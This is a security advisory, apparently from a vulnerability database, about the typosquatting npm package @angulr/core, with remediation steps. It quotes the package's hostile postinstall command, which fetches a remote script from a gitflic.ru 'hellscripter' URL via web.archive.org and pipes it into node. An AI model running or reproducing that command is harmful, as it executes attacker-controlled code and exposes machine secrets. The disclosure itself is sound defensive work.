MAL-2026-17538 Malicious code in @angulr/core (npm)
Malicious package
Published
MAL-2026-17538 is a malicious package: @angulr/core (npm). Every version was published to cause harm.
Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.
Reference: https://insights.sbomify.com/MAL-2026-17538/ (Markdown: https://insights.sbomify.com/MAL-2026-17538/index.md)
- Package
- @angulr/core
- Registry
- npm
What is MAL-2026-17538?
MAL-2026-17538 is a malicious package in @angulr/core, published on 5 Oct 2026.
Official description
The npm package
@angulr/core masquerades as Angular's @angular/core by cloning its package.json metadata (description 'Angular - the core framework', author 'angular', repository angular/angular, ng-update packageGroup) while shipping a hostile postinstall script. The postinstall hook runs curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js |... node, piping an unpinned, remotely fetched JavaScript payload directly into Node at install time. The destination is a personal hellscripter project on gitflic.ru fronted via web.archive.org, unrelated to Angular's publisher. Any developer running npm install @angulr/core executes attacker-controlled code with the installer's privileges, with no integrity check and no pinning.What should I do about MAL-2026-17538?
Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.